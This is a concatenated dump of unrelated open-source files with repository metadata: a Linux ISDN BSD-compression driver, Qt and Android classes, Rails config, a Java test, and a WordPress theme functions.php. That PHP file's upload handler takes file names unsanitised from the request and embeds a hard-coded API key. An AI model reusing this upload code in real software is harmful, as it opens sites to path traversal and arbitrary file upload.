proto) { struct bsd_db *db; int hshift; unsigned int max_ent; unsigned int n_bits; unsigned int bitno; unsigned long accm; int ent; unsigned long fcode; struct bsd_dict *dictp; unsigned char c; int hval,disp,ilen,mxcode; unsigned char *rptr = skb_in->data; int isize = skb_in->len; #define OUTPUT(ent) \ { \ bitno -= n_bits; \ accm |= ((ent) << bitno); \ do { \ if(skb_out && skb_tailroom(skb_out) > 0) \ *(skb_put(skb_out,1)) = (unsigned char) (accm>>24); \ accm <<= 8; \ bitno += 8; \ } while (bitno <= 24); \ } /* * If the protocol is not in the range we're interested in, * just return without compressing the packet. If it is, * the protocol becomes the first byte to compress. */ printk(KERN_DEBUG "bsd_compress called with %x\n",proto); ent = proto; if (proto < 0x21 || proto > 0xf9 || !(proto & 0x1) ) return 0; db = (struct bsd_db *) state; hshift = db->hshift; max_ent = db->max_ent; n_bits = db->n_bits; bitno = 32; accm = 0; mxcode = MAXCODE (n_bits); /* This is the PPP header information */ if(skb_out && skb_tailroom(skb_out) >= 2) { char *v = skb_put(skb_out,2); /* we only push our own data on the header, AC,PC and protos is pushed by caller */ v[0] = db->seqno >> 8; v[1] = db->seqno; } ilen = ++isize; /* This is off by one, but that is what is in draft! */ while (--ilen > 0) { c = *rptr++; fcode = BSD_KEY (ent, c); hval = BSD_HASH (ent, c, hshift); dictp = dict_ptr (db, hval); /* Validate and then check the entry. */ if (dictp->codem1 >= max_ent) goto nomatch; if (dictp->fcode == fcode) { ent = dictp->codem1 + 1; continue; /* found (prefix,suffix) */ } /* continue probing until a match or invalid entry */ disp = (hval == 0) ? 1 : hval; do { hval += disp; if (hval >= db->hsize) hval -= db->hsize; dictp = dict_ptr (db, hval); if (dictp->codem1 >= max_ent) goto nomatch; } while (dictp->fcode != fcode); ent = dictp->codem1 + 1; /* finally found (prefix,suffix) */ continue; nomatch: OUTPUT(ent); /* output the prefix */ /* code -> hashtable */ if (max_ent < db->maxmaxcode) { struct bsd_dict *dictp2; struct bsd_dict *dictp3; int indx; /* expand code size if needed */ if (max_ent >= mxcode) { db->n_bits = ++n_bits; mxcode = MAXCODE (n_bits); } /* * Invalidate old hash table entry using * this code, and then take it over. */ dictp2 = dict_ptr (db, max_ent + 1); indx = dictp2->cptr; dictp3 = dict_ptr (db, indx); if (dictp3->codem1 == max_ent) dictp3->codem1 = BADCODEM1; dictp2->cptr = hval; dictp->codem1 = max_ent; dictp->fcode = fcode; db->max_ent = ++max_ent; if (db->lens) { unsigned short *len1 = lens_ptr (db, max_ent); unsigned short *len2 = lens_ptr (db, ent); *len1 = *len2 + 1; } } ent = c; } OUTPUT(ent); /* output the last code */ if(skb_out) db->bytes_out += skb_out->len; /* Do not count bytes from here */ db->uncomp_bytes += isize; db->in_count += isize; ++db->uncomp_count; ++db->seqno; if (bitno < 32) ++db->bytes_out; /* must be set before calling bsd_check */ /* * Generate the clear command if needed */ if (bsd_check(db)) OUTPUT (CLEAR); /* * Pad dribble bits of last code with ones. * Do not emit a completely useless byte of ones. */ if (bitno < 32 && skb_out && skb_tailroom(skb_out) > 0) *(skb_put(skb_out,1)) = (unsigned char) ((accm | (0xff << (bitno-8))) >> 24); /* * Increase code size if we would have without the packet * boundary because the decompressor will do so. */ if (max_ent >= mxcode && max_ent < db->maxmaxcode) db->n_bits++; /* If output length is too large then this is an incompressible frame. */ if (!skb_out || (skb_out && skb_out->len >= skb_in->len) ) { ++db->incomp_count; db->incomp_bytes += isize; return 0; } /* Count the number of compressed frames */ ++db->comp_count; db->comp_bytes += skb_out->len; return skb_out->len; #undef OUTPUT } static void bsd_incomp (void *state, struct sk_buff *skb_in,int proto) { bsd_compress (state, skb_in, NULL, proto); } static int bsd_decompress (void *state, struct sk_buff *skb_in, struct sk_buff *skb_out, struct isdn_ppp_resetparams *rsparm) { struct bsd_db *db; unsigned int max_ent; unsigned long accm; unsigned int bitno; /* 1st valid bit in accm */ unsigned int n_bits; unsigned int tgtbitno; /* bitno when we have a code */ struct bsd_dict *dictp; int seq; unsigned int incode; unsigned int oldcode; unsigned int finchar; unsigned char *p,*ibuf; int ilen; int codelen; int extra; db = (struct bsd_db *) state; max_ent = db->max_ent; accm = 0; bitno = 32; /* 1st valid bit in accm */ n_bits = db->n_bits; tgtbitno = 32 - n_bits; /* bitno when we have a code */ printk(KERN_DEBUG "bsd_decompress called\n"); if(!skb_in || !skb_out) { printk(KERN_ERR "bsd_decompress called with NULL parameter\n"); return DECOMP_ERROR; } /* * Get the sequence number. */ if( (p = skb_pull(skb_in,2)) == NULL) { return DECOMP_ERROR; } p-=2; seq = (p[0] << 8) + p[1]; ilen = skb_in->len; ibuf = skb_in->data; /* * Check the sequence number and give up if it differs from * the value we're expecting. */ if (seq != db->seqno) { if (db->debug) { printk(KERN_DEBUG "bsd_decomp%d: bad sequence # %d, expected %d\n", db->unit, seq, db->seqno - 1); } return DECOMP_ERROR; } ++db->seqno; db->bytes_out += ilen; if(skb_tailroom(skb_out) > 0) *(skb_put(skb_out,1)) = 0; else return DECOMP_ERR_NOMEM; oldcode = CLEAR; /* * Keep the checkpoint correctly so that incompressible packets * clear the dictionary at the proper times. */ for (;;) { if (ilen-- <= 0) { db->in_count += (skb_out->len - 1); /* don't count the header */ break; } /* * Accumulate bytes until we have a complete code. * Then get the next code, relying on the 32-bit, * unsigned accm to mask the result. */ bitno -= 8; accm |= *ibuf++ << bitno; if (tgtbitno < bitno) continue; incode = accm >> tgtbitno; accm <<= n_bits; bitno += n_bits; /* * The dictionary must only be cleared at the end of a packet. */ if (incode == CLEAR) { if (ilen > 0) { if (db->debug) printk(KERN_DEBUG "bsd_decomp%d: bad CLEAR\n", db->unit); return DECOMP_FATALERROR; /* probably a bug */ } bsd_clear(db); break; } if ((incode > max_ent + 2) || (incode > db->maxmaxcode) || (incode > max_ent && oldcode == CLEAR)) { if (db->debug) { printk(KERN_DEBUG "bsd_decomp%d: bad code 0x%x oldcode=0x%x ", db->unit, incode, oldcode); printk(KERN_DEBUG "max_ent=0x%x skb->Len=%d seqno=%d\n", max_ent, skb_out->len, db->seqno); } return DECOMP_FATALERROR; /* probably a bug */ } /* Special case for KwKwK string. */ if (incode > max_ent) { finchar = oldcode; extra = 1; } else { finchar = incode; extra = 0; } codelen = *(lens_ptr (db, finchar)); if( skb_tailroom(skb_out) < codelen + extra) { if (db->debug) { printk(KERN_DEBUG "bsd_decomp%d: ran out of mru\n", db->unit); #ifdef DEBUG printk(KERN_DEBUG " len=%d, finchar=0x%x, codelen=%d,skblen=%d\n", ilen, finchar, codelen, skb_out->len); #endif } return DECOMP_FATALERROR; } /* * Decode this code and install it in the decompressed buffer. */ p = skb_put(skb_out,codelen); p += codelen; while (finchar > LAST) { struct bsd_dict *dictp2 = dict_ptr (db, finchar); dictp = dict_ptr (db, dictp2->cptr); #ifdef DEBUG if (--codelen <= 0 || dictp->codem1 != finchar-1) { if (codelen <= 0) { printk(KERN_ERR "bsd_decomp%d: fell off end of chain ", db->unit); printk(KERN_ERR "0x%x at 0x%x by 0x%x, max_ent=0x%x\n", incode, finchar, dictp2->cptr, max_ent); } else { if (dictp->codem1 != finchar-1) { printk(KERN_ERR "bsd_decomp%d: bad code chain 0x%x finchar=0x%x ",db->unit, incode, finchar); printk(KERN_ERR "oldcode=0x%x cptr=0x%x codem1=0x%x\n", oldcode, dictp2->cptr, dictp->codem1); } } return DECOMP_FATALERROR; } #endif { u32 fcode = dictp->fcode; *--p = (fcode >> 16) & 0xff; finchar = fcode & 0xffff; } } *--p = finchar; #ifdef DEBUG if (--codelen != 0) printk(KERN_ERR "bsd_decomp%d: short by %d after code 0x%x, max_ent=0x%x\n", db->unit, codelen, incode, max_ent); #endif if (extra) /* the KwKwK case again */ *(skb_put(skb_out,1)) = finchar; /* * If not first code in a packet, and * if not out of code space, then allocate a new code. * * Keep the hash table correct so it can be used * with uncompressed packets. */ if (oldcode != CLEAR && max_ent < db->maxmaxcode) { struct bsd_dict *dictp2, *dictp3; u16 *lens1, *lens2; unsigned long fcode; int hval, disp, indx; fcode = BSD_KEY(oldcode,finchar); hval = BSD_HASH(oldcode,finchar,db->hshift); dictp = dict_ptr (db, hval); /* look for a free hash table entry */ if (dictp->codem1 < max_ent) { disp = (hval == 0) ? 1 : hval; do { hval += disp; if (hval >= db->hsize) hval -= db->hsize; dictp = dict_ptr (db, hval); } while (dictp->codem1 < max_ent); } /* * Invalidate previous hash table entry * assigned this code, and then take it over */ dictp2 = dict_ptr (db, max_ent + 1); indx = dictp2->cptr; dictp3 = dict_ptr (db, indx); if (dictp3->codem1 == max_ent) dictp3->codem1 = BADCODEM1; dictp2->cptr = hval; dictp->codem1 = max_ent; dictp->fcode = fcode; db->max_ent = ++max_ent; /* Update the length of this string. */ lens1 = lens_ptr (db, max_ent); lens2 = lens_ptr (db, oldcode); *lens1 = *lens2 + 1; /* Expand code size if needed. */ if (max_ent >= MAXCODE(n_bits) && max_ent < db->maxmaxcode) { db->n_bits = ++n_bits; tgtbitno = 32-n_bits; } } oldcode = incode; } ++db->comp_count; ++db->uncomp_count; db->comp_bytes += skb_in->len - BSD_OVHD; db->uncomp_bytes += skb_out->len; if (bsd_check(db)) { if (db->debug) printk(KERN_DEBUG "bsd_decomp%d: peer should have cleared dictionary on %d\n", db->unit, db->seqno - 1); } return skb_out->len; } static struct isdn_ppp_compressor ippp_bsd_compress = { .owner = THIS_MODULE, .num = CI_BSD_COMPRESS, .alloc = bsd_alloc, .free = bsd_free, .init = bsd_init, .reset = bsd_reset, .compress = bsd_compress, .decompress = bsd_decompress, .incomp = bsd_incomp, .stat = bsd_stats, }; static int __init isdn_bsdcomp_init(void) { int answer = isdn_ppp_register_compressor (&ippp_bsd_compress); if (answer == 0) printk (KERN_INFO "PPP BSD Compression module registered\n"); return answer; } static void __exit isdn_bsdcomp_exit(void) { isdn_ppp_unregister_compressor (&ippp_bsd_compress); } module_init(isdn_bsdcomp_init); module_exit(isdn_bsdcomp_exit);
luckasfb/OT_903D-kernel-2.6.35.7
kernel/drivers/isdn/i4l/isdn_bsdcomp.c
C
gpl-2.0
20,062
//***************************************************************************** // Mishira: An audiovisual production tool for broadcasting live video // // Copyright (C) 2014 Lucas Murray <lucas@polyflare.com> // All rights reserved. // // This program is free software; you can redistribute it and/or modify it // under the terms of the GNU General Public License as published by the Free // Software Foundation; either version 2 of the License, or (at your option) // any later version. // // This program is distributed in the hope that it will be useful, but WITHOUT // ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or // FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for // more details. //***************************************************************************** #include "audiosegment.h" AudioSegment::AudioSegment() : m_data(NULL) { } AudioSegment::AudioSegment( quint64 timestamp, const float *data, int numFloats) : m_data(new SegmentData) { m_data->timestamp = timestamp; m_data->data = QByteArray::fromRawData( reinterpret_cast<const char *>(data), numFloats * sizeof(float)); m_data->isPersistent = false; m_data->ref = 1; } AudioSegment::AudioSegment( quint64 timestamp, const QByteArray &persistentData) : m_data(new SegmentData) { m_data->timestamp = timestamp; m_data->data = persistentData; m_data->isPersistent = true; m_data->ref = 1; } AudioSegment::AudioSegment(const AudioSegment &pkt) : m_data(pkt.m_data) { if(m_data != NULL) m_data->ref++; } AudioSegment &AudioSegment::operator=(const AudioSegment &pkt) { dereference(); m_data = pkt.m_data; return *this; } AudioSegment::~AudioSegment() { dereference(); } void AudioSegment::dereference() { if(m_data == NULL) return; m_data->ref--; if(m_data->ref) return; delete m_data; m_data = NULL; } void AudioSegment::makePersistent() { if(m_data == NULL || m_data->isPersistent) return; // Already persistent // Create a deep copy of the original data m_data->data = QByteArray(m_data->data.constData(), m_data->data.size()); m_data->isPersistent = true; }
mishira/mishira
MishiraApp/audiosegment.cpp
C++
gpl-2.0
2,123
package com.jackzilla.scrumpoker; import android.app.Application; import android.test.ApplicationTestCase; /** * <a href="http://d.android.com/tools/testing/testing_android.html">Testing Fundamentals</a> */ public class ApplicationTest extends ApplicationTestCase<Application> { public ApplicationTest() { super(Application.class); } }
mmartin101/ScrumPoker
app/src/androidTest/java/com/jackzilla/scrumpoker/ApplicationTest.java
Java
gpl-2.0
355
<?php //error_reporting(E_ALL^E_NOTICE); //ini_set('display_errors', 1); $themename = "BlogDesignStudio_Idioglossia"; $shortname = "Idioglossia"; //ini_set("session.cache_limiter", "must-revalidate"); // IE back button functionality /* * Declare constants - used through the whole framework */ define("IDG_SESSION_PATH", $path = realpath(dirname(__FILE__)."/Session")); define("IDG_ECP_CARD_TEMPLATES", TEMPLATEPATH."/lib/plugins/url_handlers/pages/shopping-cart/templates/"); define('IDG_ROOT', TEMPLATEPATH); define('IDG_THEMEASSETS', TEMPLATEPATH . '/lib'); define('IDG_CLASS_PATH', TEMPLATEPATH . '/lib/classes/'); define("IDG_POST_CONF_FILE", TEMPLATEPATH."/lib/models/post.xml"); define("IDG_PAGE_CONF_FILE", TEMPLATEPATH."/lib/models/page.xml"); define("IDG_THEME_CONF_FILE", TEMPLATEPATH."/lib/models/theme.xml"); define("IDG_WIDGETS_CONF_FILE", TEMPLATEPATH."/lib/models/widgets.xml"); define("IDG_USERS_CONF_FILE", TEMPLATEPATH."/lib/models/users.xml"); define("IDGL_THEME_URL", get_bloginfo('template_directory')); /* * Disable Admin top bar */ add_filter('show_admin_bar', '__return_false'); /* * Include base classes */ require_once(IDG_CLASS_PATH."class.Util.php"); require_once(IDG_CLASS_PATH."class.Config.php"); require_once(IDG_CLASS_PATH."class.PostOptionManages.php"); require_once(IDG_CLASS_PATH."class.PostType.php"); require_once(IDG_CLASS_PATH."class.CustomPostList.php"); require_once(IDG_CLASS_PATH."class.ThemePages.php"); require_once(IDG_CLASS_PATH."class.IDGL_Users.php"); require_once(IDG_CLASS_PATH."class.WidgetAreas.php"); require_once(IDG_CLASS_PATH."class.Widgetizer.php"); require_once(IDG_CLASS_PATH."class.Sidebar.php"); require_once(IDG_CLASS_PATH."class.IDGL_DataGrid.php"); /* * Register scripts / maybe these should go in the admin head */ wp_enqueue_script('jquery'); wp_register_script('jquery-ui', IDGL_THEME_URL . '/lib/js/jquery-ui-1.8.24.custom.min.js'); wp_enqueue_script('jquery-ui'); wp_register_script('idgl_colorpicker', IDGL_THEME_URL . '/lib/js/colorpicker/colorpicker.js'); wp_enqueue_script('idgl_colorpicker'); wp_register_script('jquery-validate', IDGL_THEME_URL . '/lib/js/jquery-validate/jquery.validate.js'); wp_enqueue_script('jquery-validate'); wp_register_script('main', IDGL_THEME_URL . '/lib/js/main.js'); wp_enqueue_script('main'); /* * Print admin head */ add_action('admin_head','IDGL_Admin_head'); function IDGL_Admin_head() { global $IDGL_model; $uplData=wp_upload_dir(); echo '<link type="text/css" rel="stylesheet" href="'.IDGL_THEME_URL.'/lib/js/colorpicker/css/colorpicker.css" />' . "\n"; echo '<link type="text/css" rel="stylesheet" href="'.IDGL_THEME_URL.'/lib/css/smoothness/jquery-ui-1.10.2.custom.min.css" />' . "\n"; //echo '<link type="text/css" rel="stylesheet" href="'.IDGL_THEME_URL.'/lib/css/styles.css" />' . "\n"; echo '<script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script> '; echo "<script type='text/javascript'> var imagesPath='".IDGL_THEME_URL."/lib/images/'; var adminAjax='".get_bloginfo('url')."/wp-admin/admin-ajax.php'; var uploadPath='".$uplData["url"]."/'; var selectedModel='".$IDGL_model."'; </script>"; if (function_exists('wp_tiny_mce')) wp_tiny_mce(); wp_admin_css(); } add_action('wp_head','IDGL_add_scripts_front'); function IDGL_add_scripts_front(){ echo "<script type='text/javascript'> var imagesPath='".IDGL_THEME_URL."/lib/images/'; var adminAjax='".get_bloginfo('url')."/wp-admin/admin-ajax.php'; </script>"; } if(class_exists("IDGL_PostOptionManages")){ add_action('save_post', 'IDGL_PostOptionManages::IDGL_savePostData'); } if(class_exists("IDGL_ThemePages")){ add_action('admin_menu', 'IDGL_ThemePages::IDGL_addPages'); } if(class_exists("IDGL_PostOptionManages")){ add_action('admin_menu', 'IDGL_PostOptionManages::IDGL_addPostPanels'); } if(class_exists("PostType")){ add_action('init', 'PostType::register'); } if(class_exists("IDGL_WidgetAreas")){ add_action( 'widgets_init', 'IDGL_WidgetAreas::register_widget_areas' ); } if(class_exists("IDGL_Widgetizer")){ add_action( 'widgets_init', 'IDGL_Widgetizer::widgetize' ); } add_action('admin_init', 'IDGL_init' ); function IDGL_init(){ IDGL_ThemePages::IDGL_register_setting(); //register_setting('IDGL-settings-group', 'IDGL_elem'); } add_action('init', 'check_session_init' ); function check_session_init(){ if(session_id()){ } } set_error_handler("ecp_error_handler"); function ecp_error_handler($errno, $errstr, $errfile, $errline) { if (!(error_reporting() & $errno)) { // This error code is not included in error_reporting return; } //require_once IDG_CLASS_PATH."KLogger/src/KLogger.php"; //$logger = KLogger::instance(IDGL_LOG_DIR, KLogger::FATAL); switch ($errno) { case E_USER_ERROR: $str = "<b>My ERROR</b> [$errno] $errstr<br />\n"; $str .= " Fatal error on line $errline in file $errfile"; $str .= ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n"; $str .= "Aborting...<br />\n"; exit(1); break; case E_USER_WARNING: $str = "<b>My WARNING</b> [$errno] $errstr<br />\n"; break; case E_USER_NOTICE: $str = "<b>My NOTICE</b> [$errno] $errstr<br />\n"; break; default: $str = "Unknown error type: [$errno] $errstr<br />\n"; break; } fb($str); //$logger -> logFatal($str); return true; } /* * users and user types */ if(class_exists("IDGL_Users")){ add_action( 'show_user_profile', 'IDGL_show_add_user_fields' ); add_action( 'edit_user_profile', 'IDGL_show_add_user_fields' ); add_action( 'personal_options_update', 'IDGL_save_add_user_fields' ); add_action( 'edit_user_profile_update', 'IDGL_save_add_user_fields' ); } function IDGL_show_add_user_fields( $user ) { IDGL_Users::IDGL_addUserPanels($user); } function IDGL_save_add_user_fields( $user ) { if ( !current_user_can( 'edit_user', $user_id ) ) return false; IDGL_Users::IDGL_saveUserMeta($user); } /* * Upload handler - used by the image uploader */ add_action('wp_ajax_imageUpload', 'imageUpload' ); function imageUpload(){ echo "***"; $uplData=wp_upload_dir(); include "lib/classes/class.Image.php"; $tempFile = $_FILES['Filedata']['tmp_name']; print_r($_GET); if(isset($_GET["newFileName"])){ $targetFile =str_replace(" ","_",$uplData["path"]."/".$_GET["newFileName"]); $targetThumb =str_replace(" ","_",$uplData["path"]."/thumb_".$_GET["newFileName"]); }else{ $targetFile =str_replace(" ","_",$uplData["path"]."/".$_FILES['Filedata']['name']); $targetThumb =str_replace(" ","_",$uplData["path"]."/thumb_".$_FILES['Filedata']['name']); } echo $targetFile."\n"; echo $targetThumb."\n"; move_uploaded_file($tempFile,$targetFile); if(isset($_GET["w"])){ $sizes=explode("|",$_GET["w"]); if($sizes[2]!=null){ WPACImage::resizeTo($sizes[2],$sizes[3],$targetFile,$targetThumb); } WPACImage::resizeTo($sizes[0],$sizes[1],$targetFile); } die(); } /* interfaceFunctions */ /* * hasPostMeta::Get a value defined in the in the "wp_postmeta" table * $pid - id of the post/page * $key - name of the key * $default - default value to be returned if no result has been retrieved */ function getPostMeta($pid,$key,$default=""){ $meta=get_post_meta($pid, "_IDGL_elem_".$key, true); if($meta!=""){ if(is_array($meta)){ return $meta; }else{ return stripcslashes($meta); } }else{ return $default; } } /* * hasPostMeta::Checks if a certain key / value exists in the "wp_postmeta" table * $pid - id of the post/page * $key - name of the key */ function hasPostMeta($pid, $key){ $meta=get_post_meta($pid, "_IDGL_elem_".$key, true); if($meta!=""){ return true; } } /* * getThemeMeta::Get a value defined in the "wp_options" table * $key - name of the key * $default - default value to be returned if no result has been retrieved */ function getThemeMeta($key,$default="",$pageName=""){ $options = get_option('IDGL_elem'.$pageName); if($options[$key]!=""){ if(is_array($options[$key])){ return $options[$key]; }else{ return stripcslashes($options[$key]); } }else{ return $default; } } $mapCount=0; /* * Creates a map with a marker * $mapName - the javascript name of the map * $mapValue - "long,lat,zoom-value" triple * $w - width of <div> wrapper for the map * $h - height of <div> wrapper for the map */ function renderGoogleMap($mapName,$mapValue,$w=400,$h=300){ global $mapCount; $mapValue=str_replace(array("[","]"),"",$mapValue); $mapParams=explode(",",$mapValue); echo '<div id="map_canvas-'.$mapCount.'" style="width: '.$w.'px; height: '.$h.'px"></div>'; echo '<script type="text/javascript" src="http://maps.google.com/maps?file=api&amp;v=2&key=ABQIAAAACuPnpsfgQtylGTK5oELr8hR0DCSZkES4mAjJ0aPCnwtfcV3XsRSRV4aCAUZF_Yo1zu8OsCxCX7Salw "></script> '; echo '<script type="text/javascript"> var map_'.$mapName.'; jQuery(function(){ if (GBrowserIsCompatible()) { map_'.$mapName.' = new GMap2(document.getElementById("map_canvas-'.$mapCount.'")); map_'.$mapName.'.setCenter(new GLatLng('.$mapParams[0].', '.$mapParams[1].'), '.$mapParams[2].'); map_'.$mapName.'.setUIToDefault(); //map_'.$mapName.'.openInfoWindow(map_'.$mapName.'.getCenter(),document.createTextNode("Hello, world")); } }) </script>'; $mapCount++; } /* * Adds a marker to a specific google map * $mapName - the javascript name of the map - an exsisting map * $mapValue - "long,lat,zoom-value" triple * $html - the html content that should appear in the marker's bubble */ function addGoogleMapMarker($mapName,$mapValue,$html=""){ $mapValue=str_replace(array("[","]"),"",$mapValue); $mapParams=explode(",",$mapValue); echo '<script> jQuery(function(){ var point = new GLatLng('.$mapParams[0].','.$mapParams[1].'); var marker=new GMarker(point); map_'.$mapName.'.addOverlay(marker);'; if($html!=""){ echo 'GEvent.addListener(marker, "click", function() { var myHtml = "'.$html.'"; map_'.$mapName.'.openInfoWindowHtml(point, myHtml); });'; } echo '})</script>'; } /* * Default rendering for the image gallery node - returnd ul>li>a>img - need to figure out the alt?? * $galArray - an array of comma separated values - paths to images */ function renderImageGallery($galArray){ if(is_array($galArray)){ foreach($galArray as $image){ $thumb=str_replace("img_","thumb_img_",$image); echo '<li><a href="'.$image.'"><img src="'.$thumb.'" /></a></li>'; } } } /* * Load all plugins */ if(is_dir(dirname(__FILE__)."/lib/plugins")){ $plugins=IDGL_File::getFileList(dirname(__FILE__)."/lib/plugins"); foreach($plugins as $plugin){ require_once dirname(__FILE__)."/lib/plugins/".$plugin."/".$plugin.".php"; } } /* * Gets ecp products meta data for given product (post) it */ function getECPProductMeta($pid) { $post_meta = array( "id" => $pid, "price" => getPostMeta($pid, "universal_price", true), "discount" => getPostMeta($pid, "productDiscount", true) ); return $post_meta; } function getAllECPProducts() { global $wpdb; $post_sql = "SELECT ID, post_content, post_title, post_name FROM {$wpdb -> posts} LEFT JOIN {$wpdb -> term_relationships} ON({$wpdb -> posts}.ID = {$wpdb -> term_relationships}.object_id) LEFT JOIN {$wpdb -> term_taxonomy} ON({$wpdb -> term_relationships}.term_taxonomy_id = {$wpdb -> term_taxonomy}.term_taxonomy_id) LEFT JOIN {$wpdb -> terms} ON({$wpdb -> term_taxonomy}.term_id = {$wpdb -> terms}.term_id) WHERE {$wpdb -> posts}.post_type = 'ECPProduct' AND {$wpdb -> posts}.post_status = 'publish' AND {$wpdb -> term_taxonomy}.taxonomy = 'ecp-products' ORDER BY {$wpdb -> posts}.post_date ASC;"; return $wpdb -> get_results($wpdb -> prepare($post_sql)); } /* * AJAX FUNCTIONALITY */ add_action("wp_ajax_nopriv_ecp_actions", "ecp_ajax_actions"); add_action("wp_ajax_ecp_actions", "ecp_ajax_actions"); function ecp_ajax_actions() { require_once IDG_CLASS_PATH."ShoppingCart/class.ECPAjaxController.php"; $method = $_POST["method"]; $values = json_decode(stripslashes($_POST["values"])); $ret = ECPAjaxController::Controller($method, $values); echo $ret -> getTemplate(); die(); } if(isset($_GET["render"])){ getProducts($_GET["render"]); } function getProducts($type){ echo 'post_type=ecpproduct&post_status=publish&posts_per_page=-1&ecp-products='.$type; query_posts('post_type=ecpproduct&post_status=publish&posts_per_page=-1&ecp-products=college-board-official-practice-tests-explanations'); if ( have_posts() ) : while ( have_posts() ) : the_post(); global $post; $terms = get_the_terms($post->ID, 'ecp-products'); print_r($terms); ?> <div class="users_books" style="clear:both;"> <h2><?php the_title(); ?></h2> <div class="bookContent"> <div style="width:600px;" id="prid_<?php echo $post->ID; ?>"><?php the_content(); ?></div> </div> <p> <a class="button blue learn_more" href="#prid_<?php echo $post->ID; ?>">Find Out More</a> <a class="button pink" href="#">Buy</a> <a class="button green" href="#">Download</a> </p> </div> <?php endwhile; endif; wp_reset_query(); die(); } /******* menu class ******/ class Wp_Menu{ private $menu_items; public static $current_selection; public static $flat_map; public function Wp_Menu($menu_items){ $this->menu_items=array(); foreach($menu_items as $item){ $menu_item=$this->menu_items[$item->ID]=new Wp_MenuItem($item,$item->menu_item_parent); if($item->menu_item_parent!=0){ if(isset($this->menu_items[$item->menu_item_parent])) $this->menu_items[$item->menu_item_parent]->addChild($menu_item); } } } public function toString(){ foreach($this->menu_items as $item){ if($item->getParentID()==0){ if($item->item->object_id==6) continue; $out.="<div class='elem_".$item->item->object_id."'>"; $out.=$item->toString(); $out.="</div>"; } } return $out; } public function getSubMenu(){ $current=Wp_Menu::$current_selection; if(count($current->submenu)==0){ $current=Wp_Menu::$flat_map[$current->parent]; } if(is_array($current->submenu)){ foreach($current->submenu as $item){ $out.=$item->toString(); } } return $out; } } class Wp_MenuItem{ public $item; public $parent; public $submenu; public function Wp_MenuItem($item,$parent=0,$submenu=null){ $this->item=$item; $this->parent=$parent; if($this->submenu==null){ $this->submenu=array(); } global $wp_query; $post_obj = $wp_query->get_queried_object(); $post_id = $post_obj->ID; //echo $post_id." -- ".$this->item->object_id."<br/>"; if(Wp_Menu::$current_selection==null && $post_id==$this->item->object_id){ Wp_Menu::$current_selection=$this; } Wp_Menu::$flat_map[$this->item->ID]=$this; } public function addChild($item){ $this->submenu[]=$item; } public function getParentID(){ return $this->parent; } public function getType(){ return $this->item->object; } public function toString(){ if(Wp_Menu::$current_selection==$this){ if($this->parent==0){ $out.="<h5>".$this->item->title."</h5>"; }else{ $out.="<a href='".$this->item->url."'>".$this->item->title."</a>"; } }else{ if($this->parent==0){ $out.="<h5>".$this->item->title."</h5>"; }else{ $out.="<a href='".$this->item->url."'>".$this->item->title."</a>"; } } if(count($this->submenu)>0){ foreach($this->submenu as $item){ $out.=$item->toString(); } } return $out; } }
xavierrivas/new
wp-content/themes/enroll.ecp/functions.php
PHP
gpl-2.0
15,746
require File.expand_path('../boot', __FILE__) require 'rails/all' # Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. Bundler.require(*Rails.groups) module ThepirateboxWeb class Application < Rails::Application # Setup cache config.cache_store = :memory_store # Settings in config/environments/* take precedence over those specified here. # Application configuration should go into files in config/initializers # -- all .rb files in that directory are automatically loaded. # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. # config.time_zone = 'Central Time (US & Canada)' # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] # config.i18n.default_locale = :de end end
sgodbold/thepiratebox
config/application.rb
Ruby
gpl-2.0
1,044
/* * Copyright 2013 Michael Zanetti * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; version 2. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * Authors: * Michael Zanetti <michael_zanetti@gmx.net> */ #ifndef LIGHTS_H #define LIGHTS_H #include <QAbstractListModel> #include <QTimer> class Light; class Lights : public QAbstractListModel { Q_OBJECT public: enum Roles { RoleId, RoleName, RoleModelId, RoleType, RoleSwVersion, RoleOn, RoleBrightness, RoleHue, RoleSaturation, RoleXY, RoleCt, RoleAlert, RoleEffect, RoleColorMode, RoleReachable }; explicit Lights(QObject *parent = 0); int rowCount(const QModelIndex &parent) const; QVariant data(const QModelIndex &index, int role) const; QHash<int, QByteArray> roleNames() const; Q_INVOKABLE Light* get(int index) const; public slots: void refresh(); private slots: void lightsReceived(int id, const QVariant &variant); void lightDescriptionChanged(); void lightStateChanged(); private: Light* createLight(int id, const QString &name); private: QList<Light*> m_list; QTimer m_timer; }; #endif // LIGHTS_H
Baertierchen/shine
libhue/lights.h
C
gpl-2.0
1,756
// Test for method java.io.IOError.getClass().isAssignableFrom(Class) // Copyright (C) 2012 Pavel Tisnovsky <ptisnovs@redhat.com> // This file is part of Mauve. // Mauve is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2, or (at your option) // any later version. // Mauve is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with Mauve; see the file COPYING. If not, write to // the Free Software Foundation, Inc., 51 Franklin Street, // Fifth Floor, Boston, MA 02110-1301 USA. package gnu.testlet.java.io.IOError.classInfo; import gnu.testlet.TestHarness; import gnu.testlet.Testlet; import java.io.IOError; /** * Test for method java.io.IOError.getClass().isAssignableFrom() */ public class isAssignableFrom implements Testlet { /** * Runs the test using the specified harness. * * @param harness the test harness (<code>null</code> not permitted). */ public void test(TestHarness harness) { // create instance of a class Double Object o = new IOError(null); // get a runtime class of an object "o" Class c = o.getClass(); harness.check(c.isAssignableFrom(IOError.class)); } }
niloc132/mauve-gwt
src/main/java/gnu/testlet/java/io/IOError/classInfo/isAssignableFrom.java
Java
gpl-2.0
1,557
